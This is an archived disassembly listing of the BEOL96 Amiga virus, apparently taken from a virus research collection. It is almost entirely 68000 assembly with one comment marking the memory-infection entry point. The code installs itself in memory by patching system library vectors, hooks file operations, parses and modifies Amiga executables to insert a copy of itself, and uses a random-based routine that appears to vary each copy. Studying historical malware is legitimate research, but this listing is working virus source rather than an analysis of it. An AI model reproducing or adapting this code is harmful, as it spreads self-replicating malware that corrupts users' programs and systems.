home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
amiga_virus_collection_research.7z
/
VIRUSRESEARCH
/
BEOL96
/
BEOL96_MEM.ASM
< prev
next >
Wrap
Assembly Source File
|
1999-06-12
|
23KB
|
899 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
CHK EQU $18
EXT_0002 EQU $3F2
EXT_0003 EQU $400
EXT_0004 EQU $600
EXT_0005 EQU $DFF007
EXT_0006 EQU $FFFFE568
SECTION S_0,CODE
SECSTRT_0:
MOVE.L -(A0),D0 ;000: 2020
MOVE.L -(A0),D0 ;002: 2020
MOVE.L -(A0),D0 ;004: 2020
MOVE.L -(A0),D0 ;006: 2020
MOVE.L 8264(A5),D0 ;008: 202D2048
NEG.B 32(A1,D2.W) ;00C: 44312020
MOVE.L -(A0),D0 ;010: 2020
MOVE.L -(A0),D0 ;012: 2020
MOVE.L -(A0),D0 ;014: 2020
MOVEA.L 28532(A6),A0 ;016: 206E6F74
MOVEA.L -(A2),A0 ;01A: 2062
DC.W $6F6F ;01C
MOVEQ #97,D2 ;01E: 7461
BHI.S LAB_0002+4 ;020: 626C
BCS.S LAB_0001+2 ;022: 6520
MOVEA.L D1,A0 ;024: 2041
LAB_0000:
DC.W $444F ;026
SUBQ.B #1,-(A0) ;028: 5320
DC.W $2073 ;02A
DC.W $6373 ;02C
DC.W $692D ;02E
MOVE D0,D0 ;030: 3000
ORI.B #$00,D0 ;032: 00000000
ORI.B #$00,D0 ;036: 00000000
ORI.B #$00,D0 ;03A: 00000000
ORI.B #$00,D0 ;03E: 00000000
LAB_0001:
ORI.B #$1F,D0 ;042: 0000001F
LSL.L D3,D0 ;046: E7A8
DC.W $0001 ;048
ILLEGAL ;04A: 4AFC
DC.W $001F ;04C
ASL.L D3,D0 ;04E: E7A0
DC.W $001F ;050
DC.W $E7C2 ;052
DC.W $616D ;054
BVS.S LAB_0000 ;056: 69CE
DC.W $00F8 ;058
ADD.B 27424(A0),D1 ;05A: D2286B20
ADDQ #1,-(A5) ;05E: 5265
DC.W $636F ;060
BGT.S LAB_0005 ;062: 6E6E
DC.W $001F ;064
ASL.L D3,D0 ;066: E7A0
ORI.B #$00,D0 ;068: 00000000
ORI.B #$00,D0 ;06C: 00000000
ORI.B #$0A,D0 ;070: 0000000A
MOVE.B D0,-(A0) ;074: 1100
DC.W $000A ;076
ORI.B #$02,D0 ;078: 00000002
DC.W $001F ;07C
ROL.L #3,D0 ;07E: E798
ORI.B #$68,D0 ;080: 00000068
DC.W $001F ;084
ASL D2,D0 ;086: E560
DC.W $0000 ;088
LAB_0002:
ANDI.B #$1F,(EXT_0006).W ;08A: 0238001FE568
ORI.B #$00,D0 ;090: 00000000
DC.W $001F ;094
LSL.B D3,D0 ;096: E728
DC.W $001F ;098
LSL D2,D0 ;09A: E568
ORI.B #$01,D0 ;09C: 00000001
ORI.B #$02,D0 ;0A0: 00000002
ORI.B #$00,D0 ;0A4: 00000000
DC.W $0000 ;0A8
LAB_0003:
LEA LAB_000A(PC),A0 ;0AA: 41FA018C
MOVE.L (A0),D0 ;0AE: 2010
LAB_0004:
SUBQ #2,A0 ;0B0: 5548
CMP.L (A0),D0 ;0B2: B090
BNE.S LAB_0004 ;0B4: 66FA
MOVE #$4EF9,(A0) ;0B6: 30BC4EF9
MOVE.L -(A0),D2 ;0BA: 2420
LSL.L #2,D2 ;0BC: E58A
ADDQ.L #4,D2 ;0BE: 5882
MOVE.L D2,6(A0) ;0C0: 21420006
MOVEA.L D2,A0 ;0C4: 2042
EORI #$286F,(A0) ;0C6: 0A50286F
LEA LAB_0003(PC),A1 ;0CA: 43FAFFDE
MOVEA.L 58(A6),A0 ;0CE: 206E003A
LAB_0005:
MOVE #$037A,D7 ;0D2: 3E3C037A
LAB_0006:
MOVE (A1)+,(A0)+ ;0D6: 30D9
DBF D7,LAB_0006 ;0D8: 51CFFFFC
PEA -1400(A0) ;0DC: 4868FA88
JMP -636(A6) ;0E0: 4EEEFD84
CLR D5 ;0E4: 4245
DC.W $4F4C ;0E6
DC.W $3936 ;0E8
EOR.B D2,D0 ;0EA: B500
RTS ;0EC: 4E75
SUB.B D2,D0 ;0EE: 9002
RTS ;0F0: 4E75
ROR.B #3,D0 ;0F2: E618
RTS ;0F4: 4E75
ADD.B D2,D0 ;0F6: D002
RTS ;0F8: 4E75
DC.W $180C ;0FA
BTST D7,(A5) ;0FC: 0F15
BTST D7,(A0)+ ;0FE: 0F18
DC.W $040D ;100
MOVE.B (A0),D0 ;102: 1010
DC.W $110A ;104
ROXL.B #1,D1 ;106: E311
DC.W $06E4 ;108
MOVE.B D4,-(A0) ;10A: 1104
LSL.B #4,D5 ;10C: E90D
MOVE.B 3331(A0),(A1)+ ;10E: 12E80D03
MOVEP 4112(A1),D1 ;112: 03091010
DC.W $0203 ;116
ROL.B #3,D0 ;118: E718
MOVEP 784(A1),D1 ;11A: 03090310
OR.B (A2),D0 ;11E: 8012
ADDX.B D0,D0 ;120: D100
DC.W $041C ;122
DC.W $0A13 ;124
MOVEP 16890(A1),D0 ;126: 010941FA
DC.W $0E00 ;12A
MOVEP 16890(A1),D0 ;12C: 010941FA
DC.W $0F0C ;130
BCHG D4,(A1) ;132: 0951
OR.B D1,D4 ;134: 8801
BCHG D4,D1 ;136: 0941
DC.W $FA10 ;138
DC.W $0C09 ;13A
ADDQ.L #8,A0 ;13C: 5088
DC.W $0448 ;13E
MOVEQ #14,D5 ;140: 7A0E
DC.W $0109 ;142
MOVEA.L (A7)+,A0 ;144: 205F
DC.W $0004 ;146
MOVE.B (A3)+,-(A0) ;148: 111B
MOVE.L D1,-(A3) ;14A: 2701
DC.W $0841 ;14C
DC.W $F804 ;14E
DC.W $06F5 ;150
BTST D1,D2 ;152: 0302
DC.W $0820 ;154
DC.W $0800 ;156
MOVEP.L 30726(A0),D2 ;158: 05487806
DC.W $F501 ;15C
DC.W $0220 ;15E
MOVE.B D0,-(A7) ;160: 1F00
BTST D0,D2 ;162: 0102
MOVE #$0B06,D0 ;164: 303C0B06
DC.W $06F5 ;168
DC.W $0C02 ;16A
SUBQ #8,D0 ;16C: 5140
BTST D0,D2 ;16E: 0102
MOVE #$0606,D0 ;170: 303C0606
DC.W $F502 ;174
DC.W $0206 ;176
NEGX.B D7 ;178: 4007
LAB_0007:
OR.L D5,D0 ;17A: 8085
OR.L D2,-(A7) ;17C: 85A7
DC.W $CC09 ;17E
DC.W $7D2F ;180
ADDQ.B #8,D7 ;182: 5007
DC.W $0409 ;184
MOVE.B (A7)+,-(A2) ;186: 151F
DC.W $0209 ;188
ADDQ #1,A0 ;18A: 5248
DC.W $0002 ;18C
MOVEP.L 20484(A0),D4 ;18E: 09485004
ADDQ.L #1,(A7) ;192: 5297
DC.W $0109 ;194
MOVEA.L (A7)+,A0 ;196: 205F
DC.W $0001 ;198
DC.W $0370 ;19A
BTST D0,D3 ;19C: 0103
BTST D4,D3 ;19E: 0903
ADDA D0,A0 ;1A0: D0C0
DC.W $0003 ;1A2
MOVEP 4120(A1),D1 ;1A4: 03091018
DC.W $0027 ;1A8
DC.W $0409 ;1AA
MOVE.B (A1),-(A0) ;1AC: 1111
DC.W $0202 ;1AE
DC.W $51C8 ;1B0
DC.W $0A02 ;1B2
ANDI #$4004,(A3) ;1B4: 02534004
DC.W $6A00 ;1B8
DC.W $0A02 ;1BA
DC.W $024A ;1BC
NEGX.B D4 ;1BE: 4004
BEQ.S LAB_0008+2 ;1C0: 6706
DC.W $0202 ;1C2
SUBQ #1,D0 ;1C4: 5340
LAB_0008:
SUBI #$000A,-(A0) ;1C6: 0460000A
AND.B D4,D0 ;1CA: C004
BTST D7,(A3)+ ;1CC: 0F1B
MOVE.L D5,-(A3) ;1CE: 2705
PEA LAB_0009(PC) ;1D0: 487A0006
DC.W $054E ;1D4
DC.W $EEFD ;1D6
LAB_0009:
OR.B D0,D2 ;1D8: 8400
BTST D0,D7 ;1DA: 0107
LEA 1789(A6),A0 ;1DC: 41EE06FD
OR.B D2,D2 ;1E0: 8402
DC.W $074E ;1E2
DC.W $A807 ;1E4
BTST D0,D1 ;1E6: 0101
MOVE #$08FD,D0 ;1E8: 303C08FD
OR.B D4,D2 ;1EC: 8404
DC.W $4EB6 ;1EE
BTST D4,D1 ;1F0: 0901
DC.W $054E ;1F2
DC.W $AEFD ;1F4
OR.B D0,D2 ;1F6: 8400
DC.W $040A ;1F8
MOVE.B -(A4),D4 ;1FA: 1824
BTST D2,30720(A4) ;1FC: 052C7800
DC.W $0400 ;200
BTST D0,D0 ;202: 0100
MOVEQ #4,D0 ;204: 7004
BTST D1,D6 ;206: 0306
DC.W $0020 ;208
NEGX.B D2 ;20A: 4002
DC.W $062C ;20C
ADDQ.B #8,D0 ;20E: 5000
BTST D0,D0 ;210: 0100
MOVE.L (EXT_0003).W,D0 ;212: 20380400
SUBI.B #$2C,D2 ;216: 0402002C
NEGX.B D0 ;21A: 4000
BTST D0,D6 ;21C: 0106
LEA (EXT_0004).W,A0 ;21E: 41F80600
DC.W $0402 ;222
DC.W $062C ;224
DC.W $6807 ;226
BSR.S LAB_000A ;228: 610E
LEA 56(A7),A0 ;22A: 41EF0038
MOVEA.L (A0),A6 ;22E: 2C50
MOVE.L D2,(A0) ;230: 2082
MOVEM.L (A7)+,D0-D7/A0-A5 ;232: 4CDF3FFF
RTS ;236: 4E75
LAB_000A:
MOVEM.L D0-D7/A0-A6,-(A7) ;238: 48E7FFFE
JSR -132(A6) ;23C: 4EAEFF7C
MOVEQ #13,D1 ;240: 720D
LEA LAB_000E(PC),A1 ;242: 43FA002A
MOVEA.L 420(A6),A0 ;246: 206E01A4
BSR.S LAB_000C ;24A: 6110
MOVEA.L 406(A6),A0 ;24C: 206E0196
BSR.S LAB_000C ;250: 610A
JSR -138(A6) ;252: 4EAEFF76
MOVEM.L (A7)+,D0-D7/A0-A6 ;256: 4CDF7FFF
LAB_000B:
RTS ;25A: 4E75
LAB_000C:
TST.L (A0) ;25C: 4A90
BEQ.S LAB_000B ;25E: 67FA
CMP.B 8(A0),D1 ;260: B2280008
BNE.S LAB_000D ;264: 6604
MOVE.L A1,180(A0) ;266: 214900B4
LAB_000D:
MOVEA.L (A0),A0 ;26A: 2050
BRA.S LAB_000C ;26C: 60EE
* MEMORY INFECTION JUMP HERE *
LAB_000E:
MOVEM.L D1-D7/A0-A6,-(A7) ;26E: 48E77FFE
MOVEA.L (ABSEXECBASE).W,A6 ;272: 2C780004
MOVEA.L 276(A6),A3 ;276: 266E0114
LEA 70(A3),A3 ;27A: 47EB0046
BSR LAB_0037 ;27E: 610002D0
MOVEA.L D0,A5 ;282: 2A40
LEA (CHK).W,A4 ;284: 49F80018
ADDA.L 10(A5),A4 ;288: D9ED000A
BSR.S LAB_000A ;28C: 61AA
NOT.B 9(A5) ;28E: 462D0009
BMI.S LAB_0013 ;292: 6B3E
MOVE.L -20(A4),D6 ;294: 2C2CFFEC
MOVEA.L D6,A0 ;298: 2046
TST.L 96(A0) ;29A: 4AA80060
BNE.S LAB_0013 ;29E: 6632
MOVE.L -16(A4),D0 ;2A0: 202CFFF0
BSR.S LAB_0010 ;2A4: 611E
DC.W $040A ;2A6
DC.W $0032 ;2A8
BSET D1,330(A7) ;2AA: 03EF014A
BSET D1,164(A5) ;2AE: 03ED00A4
ORI #$0150,(A2) ;2B2: 00520150
ORI.B #$22,(A0)+ ;2B6: 00180022
ORI.B #$1E,(A7) ;2BA: 0017001E
LAB_000F:
ADDA (A0),A0 ;2BE: D0D0
JSR (A0) ;2C0: 4E90
BRA.S LAB_0012 ;2C2: 600A
LAB_0010:
MOVEA.L (A7)+,A0 ;2C4: 205F
LAB_0011:
CMP (A0)+,D0 ;2C6: B058
BEQ.S LAB_000F ;2C8: 67F4
MOVEA (A0)+,A1 ;2CA: 3258
BLT.S LAB_0011 ;2CC: 6DF8
LAB_0012:
CLR.B 9(A5) ;2CE: 422D0009
LAB_0013:
MOVE.L A5,D0 ;2D2: 200D
MOVEM.L (A7)+,D1-D7/A0-A6 ;2D4: 4CDF7FFE
RTS ;2D8: 4E75
SUBA.L A0,A0 ;2DA: 91C8
MOVE.L 102(A3),D0 ;2DC: 202B0066
LSL.L #2,D0 ;2E0: E588
BEQ.S LAB_001A ;2E2: 6760
MOVE.L 16(A0,D0.L),D0 ;2E4: 20300810
LSL.L #2,D0 ;2E8: E588
BEQ.S LAB_001A ;2EA: 6758
MOVEA.L D0,A0 ;2EC: 2040
MOVEQ #0,D0 ;2EE: 7000
MOVE.B (A0)+,D0 ;2F0: 1018
ADDA D0,A0 ;2F2: D0C0
BSR.S LAB_0015 ;2F4: 6114
BCLR D1,-(A0) ;2F6: 03A0
SUB A0,D4 ;2F8: 9848
BRA.S LAB_0014 ;2FA: 6002
SUB A0,D0 ;2FC: 9048
LAB_0014:
MOVE.L A0,D0 ;2FE: 2008
NEGX.B (A0)+ ;300: 4018
MOVEQ #40,D0 ;302: 7028
DC.W $1058 ;304
DC.W $9078 ;306
DC.W $B8FF ;308
LAB_0015:
MOVEA.L (A7)+,A1 ;30A: 225F
BRA.S LAB_0017 ;30C: 6002
LAB_0016:
ADDA D7,A1 ;30E: D2C7
LAB_0017:
MOVEQ #0,D7 ;310: 7E00
MOVE.B (A1)+,D7 ;312: 1E19
BMI.S LAB_001A ;314: 6B2E
MOVEA.L A0,A2 ;316: 2448
LAB_0018:
MOVE.B -(A2),D0 ;318: 1022
LSL.B #3,D0 ;31A: E708
CMP.B (A1)+,D0 ;31C: B019
BNE.S LAB_0016 ;31E: 66EE
DBF D7,LAB_0018 ;320: 51CFFFF6
MOVEQ #36,D0 ;324: 7024
ADD.L (A4),D0 ;326: D094
LSL.L #2,D0 ;328: E588
MOVEA.L D0,A0 ;32A: 2040
MOVEA.L A0,A1 ;32C: 2248
BSR.S LAB_001B ;32E: 6116
BNE.S LAB_001A ;330: 6612
ADDA D0,A0 ;332: D0C0
MOVEQ #3,D7 ;334: 7E03
LAB_0019:
MOVE.B (A0)+,D0 ;336: 1018
ROR #8,D0 ;338: E058
DBF D7,LAB_0019 ;33A: 51CFFFFA
BEQ.S LAB_001A ;33E: 6704
MOVE.L D0,-20(A1) ;340: 2340FFEC
LAB_001A:
RTS ;344: 4E75
LAB_001B:
MOVEQ #0,D0 ;346: 7000
MOVE.B (A0),D0 ;348: 1010
SUBQ #4,D0 ;34A: 5940
BLT.S LAB_001C ;34C: 6D04
TST.B 1(A0,D0.W) ;34E: 4A300001
LAB_001C:
RTS ;352: 4E75
BSR LAB_0025 ;354: 6100008C
TST.L -12(A4) ;358: 4AACFFF4
BEQ.S LAB_001C ;35C: 67F4
MOVEQ #65,D0 ;35E: 7041
LSL.L #2,D0 ;360: E588
MOVEQ #1,D1 ;362: 7201
JSR -684(A6) ;364: 4EAEFD54
MOVE.L D0,(A3) ;368: 2680
BEQ.S LAB_001C ;36A: 67E6
MOVEA.L D0,A2 ;36C: 2440
LEA LAB_003A(PC),A0 ;36E: 41FA0210
BSR.S LAB_0022 ;372: 6152
MOVEA.L 124(A2),A0 ;374: 206A007C
SUBQ #3,124(A2) ;378: 576A007C
BGE.S LAB_001D ;37C: 6C02
ADDQ #8,D5 ;37E: 5045
LAB_001D:
BGE.S LAB_0025 ;380: 6C60
MOVE.L A0,D5 ;382: 2A08
ADDA #$0802,A0 ;384: D0FC0802
MOVE.L A0,D0 ;388: 2008
MOVEQ #1,D1 ;38A: 7201
JSR -684(A6) ;38C: 4EAEFD54
MOVE.L D0,(A2)+ ;390: 24C0
MOVE.L D5,(A2) ;392: 2485
ADD.L D0,(A2)+ ;394: D19A
MOVE.L D0,(A2)+ ;396: 24C0
BEQ.S LAB_001E ;398: 6706
LEA 132(A2),A0 ;39A: 41EA0084
BSR.S LAB_001B ;39E: 61A6
LAB_001E:
BEQ.S LAB_0025 ;3A0: 6740
ADDQ.B #4,(A0) ;3A2: 5810
LEA 5(A0,D0.W),A1 ;3A4: 43F00005
CLR.B (A1)+ ;3A8: 4219
LAB_001F:
MOVE.B D5,(A1)+ ;3AA: 12C5
LSR.L #8,D5 ;3AC: E08D
BNE.S LAB_001F ;3AE: 66FA
MOVE.L D4,(A2)+ ;3B0: 24C4
MOVE.L 4(A4),D0 ;3B2: 202C0004
LSL.L #2,D0 ;3B6: E588
MOVEA.L D0,A0 ;3B8: 2040
MOVE.B (A0)+,D0 ;3BA: 1018
MOVE.B D0,(A2)+ ;3BC: 14C0
LAB_0020:
MOVE.B (A0)+,(A2)+ ;3BE: 14D8
SUBQ.B #1,D0 ;3C0: 5300
BGT.S LAB_0020 ;3C2: 6EFA
LAB_0021:
RTS ;3C4: 4E75
LAB_0022:
LEA 16(A4),A1 ;3C6: 43EC0010
MOVEQ #9,D1 ;3CA: 7209
LAB_0023:
MOVE.L -(A1),-(A7) ;3CC: 2F21
DBF D1,LAB_0023 ;3CE: 51C9FFFC
JSR (A0) ;3D2: 4E90
LEA -24(A4),A1 ;3D4: 43ECFFE8
MOVEQ #9,D1 ;3D8: 7209
LAB_0024:
MOVE.L (A7)+,(A1)+ ;3DA: 22DF
DBF D1,LAB_0024 ;3DC: 51C9FFFC
RTS ;3E0: 4E75
LAB_0025:
MOVE.L (A3),D0 ;3E2: 2013
BEQ.S LAB_0021 ;3E4: 67DE
SUBA.L A1,A1 ;3E6: 93C9
MOVEA.L 8(A1,D0.L),A1 ;3E8: 22710808
BSR.S LAB_0026 ;3EC: 6104
MOVEA.L (A3),A1 ;3EE: 2253
CLR.L (A3) ;3F0: 4293
LAB_0026:
JMP -690(A6) ;3F2: 4EEEFD4E
MOVE.L (A3),D0 ;3F6: 2013
BEQ.S LAB_0025 ;3F8: 67E8
MOVEA.L D0,A2 ;3FA: 2440
LEA LAB_0038(PC),A0 ;3FC: 41FA0162
BSR.S LAB_0022 ;400: 61C4
BRA.S LAB_0025 ;402: 60DE
MOVE.L (A3),D0 ;404: 2013
BEQ.S LAB_0021 ;406: 67BC
MOVEA.L D0,A2 ;408: 2440
MOVEA.L (A2)+,A1 ;40A: 225A
MOVE.L -12(A4),D0 ;40C: 202CFFF4
BEQ.S LAB_0021 ;410: 67B2
MOVE.L D0,D5 ;412: 2A00
ADDA.L D0,A1 ;414: D3C0
CMPA.L (A2),A1 ;416: B3D2
BGT.S LAB_0025 ;418: 6EC8
MOVE.L A1,-(A2) ;41A: 2509
SUBA.L D0,A1 ;41C: 93C0
MOVEA.L (A4),A0 ;41E: 2054
JSR -624(A6) ;420: 4EAEFD90
CMP.L 4(A4),D5 ;424: BAAC0004
BEQ.S LAB_0021 ;428: 679A
MOVEA.L (A2)+,A1 ;42A: 225A
CMPA.L (A2)+,A1 ;42C: B3DA
LAB_0027:
BNE.S LAB_0025 ;42E: 66B2
MOVEA.L (A2),A2 ;430: 2452
SUBI.L #$000003F3,(A2)+ ;432: 049A000003F3
BNE.S LAB_0025 ;438: 66A8
MOVE.L A1,-(A7) ;43A: 2F09
MOVE #$06F5,D5 ;43C: 3A3C06F5
ADDA #$0702,A1 ;440: D2FC0702
DC.W $41FA ;444
BCHG D1,(A2)+ ;446: 035A
BSR LAB_003D ;448: 61000176
ADDQ #4,A2 ;44C: 584A
MOVEA.L A2,A0 ;44E: 204A
MOVE.L (A0),D4 ;450: 2810
ADDQ.L #1,(A0) ;452: 5290
ADDQ.L #8,A0 ;454: 5088
ADDQ.L #1,(A0)+ ;456: 5298
LSL.L #2,D4 ;458: E58C
ADDA.L D4,A0 ;45A: D1C4
LSR.L #2,D4 ;45C: E48C
MOVEQ #0,D3 ;45E: 7600
MOVEQ #-8,D7 ;460: 7EF8
LAB_0028:
MOVE.L (A0)+,D0 ;462: 2018
SUBI #$03E8,D0 ;464: 044003E8
BPL.S LAB_002B ;468: 6A04
LAB_0029:
MOVE.L (A7)+,D0 ;46A: 201F
LAB_002A:
BNE.S LAB_0027 ;46C: 66C0
LAB_002B:
CMPI #$000B,D0 ;46E: 0C40000B
BGE.S LAB_0029 ;472: 6CF6
MOVE.B LAB_002C(PC,D0.W),D0 ;474: 103B0006
JMP LAB_002C(PC,D0.W) ;478: 4EFB0002
LAB_002C:
DC.W $440C ;47C
DC.W $0C4C ;47E
MOVE.L -4370(A6),(A6)+ ;480: 2CEEEEEE
MOVEA D4,A4 ;484: 3844
ADDQ.B #8,D0 ;486: 5000
MOVE.L (A0)+,D1 ;488: 2218
TST.L D7 ;48A: 4A87
BPL.S LAB_002D ;48C: 6A04
ADD.L A0,D7 ;48E: DE88
EOR D2,(A0) ;490: B550
LAB_002D:
CMPI #$4E75,2(A0) ;492: 0C684E750002
BEQ.S LAB_0029 ;498: 67D0
LSL.L #2,D1 ;49A: E589
ADDA.L D1,A0 ;49C: D1C1
LAB_002E:
TAS D3 ;49E: 4AC3
BEQ.S LAB_0028 ;4A0: 67C0
SUBQ #1,D4 ;4A2: 5344
BEQ.S LAB_0029 ;4A4: 67C4
BRA.S LAB_0028 ;4A6: 60BA
LAB_002F:
MOVE.L (A0)+,D1 ;4A8: 2218
BEQ.S LAB_0028 ;4AA: 67B6
ADDQ.L #1,(A0)+ ;4AC: 5298
LSL.L #2,D1 ;4AE: E589
ADDA.L D1,A0 ;4B0: D1C1
BRA.S LAB_002F ;4B2: 60F4
LAB_0030:
MOVE.L (A0)+,D1 ;4B4: 2218
BEQ.S LAB_0028 ;4B6: 67AA
LSL.L #2,D1 ;4B8: E589
LEA 4(A0,D1.L),A0 ;4BA: 41F01804
BRA.S LAB_0030 ;4BE: 60F4
MOVE.L (A0)+,D1 ;4C0: 2218
LSL.L #2,D1 ;4C2: E589
ADDA.L D1,A0 ;4C4: D1C1
BRA.S LAB_0028 ;4C6: 609A
ADDQ.L #4,A0 ;4C8: 5888
BRA.S LAB_002E ;4CA: 60D2
MOVEQ #0,D3 ;4CC: 7600
SUBQ #1,D4 ;4CE: 5344
BNE.S LAB_0028 ;4D0: 6690
MOVE.L A0,D3 ;4D2: 2608
CMP.L (A7)+,D3 ;4D4: B69F
BNE.S LAB_002A ;4D6: 6694
LEA LAB_0033(PC),A0 ;4D8: 41FA004A
BSR.S LAB_0031 ;4DC: 6104
LEA LAB_0032(PC),A0 ;4DE: 41FA0006
LAB_0031:
BRA LAB_0022 ;4E2: 6000FEE2
LAB_0032:
MOVEQ #8,D0 ;4E6: 7008
MOVEQ #-1,D1 ;4E8: 72FF
MOVEM.L D0-D1,(A4) ;4EA: 48D40003
MOVE #$03F0,D0 ;4EE: 303C03F0
BSR.S LAB_0035 ;4F2: 6148
MOVE.L A2,(A4) ;4F4: 288A
MOVEQ #12,D0 ;4F6: 700C
MOVE.L D0,4(A4) ;4F8: 29400004
MOVEQ #87,D0 ;4FC: 7057
BSR.S LAB_0035 ;4FE: 613C
ADDQ #8,A2 ;500: 504A
MOVE.L D5,(A2) ;502: 2485
SUB.L A2,D7 ;504: 9E8A
MOVE.L A2,(A4) ;506: 288A
MOVE.L D7,4(A4) ;508: 29470004
ADD.L A2,D7 ;50C: DE8A
BSR.S LAB_0036 ;50E: 6130
ADDQ #3,D5 ;510: 5645
LSL.L #2,D5 ;512: E58D
MOVEM.L D3/D5,(A4) ;514: 48D40028
BSR.S LAB_0036 ;518: 6126
SUB.L D7,D3 ;51A: 9687
MOVE.L D7,(A4) ;51C: 2887
MOVE.L D3,4(A4) ;51E: 29430004
BRA.S LAB_0036 ;522: 601C
LAB_0033:
MOVEQ #0,D1 ;524: 7200
LAB_0034:
CLR.L -4(A4) ;526: 42ACFFFC
MOVEQ #16,D0 ;52A: 7010
ADD.L (A3),D0 ;52C: D093
MOVEA.L D0,A0 ;52E: 2040
MOVE.L -(A0),(A4) ;530: 28A0
LSR.L #2,D0 ;532: E488
MOVEM.L D0-D1,4(A4) ;534: 48EC00030004
MOVEQ #21,D0 ;53A: 7015
LAB_0035:
MOVE D0,-14(A4) ;53C: 3940FFF2
LAB_0036:
MOVEA.L A5,A1 ;540: 224D
MOVEA.L D6,A0 ;542: 2046
PEA 22(A3) ;544: 486B0016
MOVE.L (A7)+,-20(A4) ;548: 295FFFEC
JSR -366(A6) ;54C: 4EAEFE92
LAB_0037:
PEA 22(A3) ;550: 486B0016
MOVEA.L (A7),A0 ;554: 2057
JSR -384(A6) ;556: 4EAEFE80
MOVEA.L (A7)+,A0 ;55A: 205F
JMP -372(A6) ;55C: 4EEEFE8C
LAB_0038:
MOVE.L 116(A2),D1 ;560: 222A0074
BSR.S LAB_0034 ;564: 61C0
ADDA #$0084,A2 ;566: D4FC0084
MOVE.L A2,8(A4) ;56A: 294A0008
MOVEQ #34,D0 ;56E: 7022
BSR.S LAB_0035 ;570: 61CA
MOVE.L A2,D0 ;572: 200A
LSR.L #2,D0 ;574: E488
ADDQ.L #3,D0 ;576: 5680
MOVE.L D0,8(A4) ;578: 29400008
MOVEQ #28,D0 ;57C: 701C
LAB_0039:
BRA.S LAB_0035 ;57E: 60BC
LAB_003A:
LSR.L #2,D0 ;580: E488
MOVE.L -(A4),D1 ;582: 2224
LSL.L #2,D1 ;584: E589
SUBA.L A0,A0 ;586: 91C8
MOVE.L 36(A0,D1.L),(A4)+ ;588: 28F01824
MOVE.L (A4),D4 ;58C: 2814
MOVE.L D0,(A4) ;58E: 2880
MOVE #$040A,D0 ;590: 303C040A
BSR.S LAB_0039 ;594: 61E8
MOVE.L D4,-4(A4) ;596: 2944FFFC
MOVEQ #26,D0 ;59A: 701A
BSR.S LAB_0039 ;59C: 61E0
LEA 16(A2),A2 ;59E: 45EA0010
MOVE.L (A2),D5 ;5A2: 2A12
SUB.L -(A2),D5 ;5A4: 9AA2
CLR.L -(A2) ;5A6: 42A2
SUBQ.L #8,A2 ;5A8: 518A
RTS ;5AA: 4E75
LAB_003B:
MOVE.B EXT_0005,D0 ;5AC: 103900DFF007
EOR.B D0,D7 ;5B2: B107
ROL #7,D7 ;5B4: EF5F
MOVE D7,D0 ;5B6: 3007
RTS ;5B8: 4E75
LAB_003C:
BSR.S LAB_003B ;5BA: 61F0
LSR #8,D0 ;5BC: E048
RTS ;5BE: 4E75
LAB_003D:
MOVEM.L D0-D1/D3-D4/D6-D7/A0-A6,-(A7) ;5C0: 48E7DBFE
BSR.S LAB_003B ;5C4: 61E6
MOVE D0,-1752(A0) ;5C6: 3140F928
MOVE.L D0,-(A7) ;5CA: 2F00
JSR -132(A6) ;5CC: 4EAEFF7C
BSR.S LAB_003C ;5D0: 61E8
LSR.B #6,D0 ;5D2: EC08
MOVE D0,D4 ;5D4: 3800
LAB_003E:
MOVE D5,D1 ;5D6: 3205
LSR #8,D1 ;5D8: E049
BSR.S LAB_003F ;5DA: 6108
DC.W $FB74 ;5DC
DC.W $0009 ;5DE
DC.W $000B ;5E0
DC.W $0009 ;5E2
LAB_003F:
MOVEQ #3,D2 ;5E4: 7403
MOVEA.L (A7),A3 ;5E6: 2657
MOVEA.L (A7)+,A2 ;5E8: 245F
LAB_0040:
ADDA (A2)+,A3 ;5EA: D6DA
MOVE.B D1,(A3)+ ;5EC: 16C1
MOVE.B D5,(A3)+ ;5EE: 16C5
DBF D2,LAB_0040 ;5F0: 51CAFFF8
LINK A2,#-138 ;5F4: 4E52FF76
MOVEA.L A7,A5 ;5F8: 2A4F
LEA 18(A5),A4 ;5FA: 49ED0012
LAB_0041:
MOVEQ #-64,D1 ;5FE: 72C0
MOVEQ #5,D3 ;600: 7605
LAB_0042:
BSR.S LAB_003B ;602: 61A8
LSR.B #5,D0 ;604: EA08
BSET D0,D1 ;606: 01C1
BNE.S LAB_0042 ;608: 66F8
MOVE.B D0,-(A2) ;60A: 1500
DBF D3,LAB_0042 ;60C: 51CBFFF4
ADDQ #1,D2 ;610: 5242
BEQ.S LAB_0041 ;612: 67EA
CLR.L -8(A2) ;614: 42AAFFF8
MOVEQ #0,D6 ;618: 7C00
LAB_0043:
BSR.S LAB_003B ;61A: 6190
MOVE D0,D2 ;61C: 3400
ASR #2,D2 ;61E: E442
BSR.S LAB_003C ;620: 6198
LSR.B #4,D0 ;622: E808
MOVE D0,D1 ;624: 3200
SUBQ #8,D1 ;626: 5141
BGT.S LAB_0043 ;628: 6EF0
LEA LAB_0007(PC),A3 ;62A: 47FAFB4E
MOVE.B 8(A3,D1.W),D1 ;62E: 12331008
EXT D1 ;632: 4881
ADDA D1,A3 ;634: D6C1
MOVE.B D6,D3 ;636: 1606
AND.B (A3),D3 ;638: C613
CMP.B (A3)+,D3 ;63A: B61B
BNE.S LAB_0043 ;63C: 66DC
BSET D0,D6 ;63E: 01C6
BNE.S LAB_0043 ;640: 66D8
BSR LAB_003C ;642: 6100FF76
LSR.B #6,D0 ;646: EC08
MOVE.B 0(A3,D0.W),D0 ;648: 10330000
ADDA D0,A3 ;64C: D6C0
BSR.S LAB_0048 ;64E: 616C
MOVE D6,D0 ;650: 3006
LSL #7,D0 ;652: EF48
BPL.S LAB_0043 ;654: 6AC4
MOVEA.L -(A2),A3 ;656: 2662
MOVE.L A4,D0 ;658: 200C
SUB.L A3,D0 ;65A: 908B
ADD D0,(A3) ;65C: D153
MOVE.L A4,D1 ;65E: 220C
SUB.L A5,D1 ;660: 928D
ADDA D1,A1 ;662: D2C1
MOVEA.L A1,A3 ;664: 2649
MOVE.L D5,D6 ;666: 2C05
ADD D1,D5 ;668: DA41
LAB_0044:
MOVE.B -(A0),D0 ;66A: 1020
MOVEQ #2,D3 ;66C: 7602
LAB_0045:
MOVE -(A5),D2 ;66E: 3425
MOVEA.L -(A5),A2 ;670: 2465
JSR (A2) ;672: 4E92
DBF D3,LAB_0045 ;674: 51CBFFF8
LEA 18(A5),A5 ;678: 4BED0012
MOVE.B D0,-(A3) ;67C: 1700
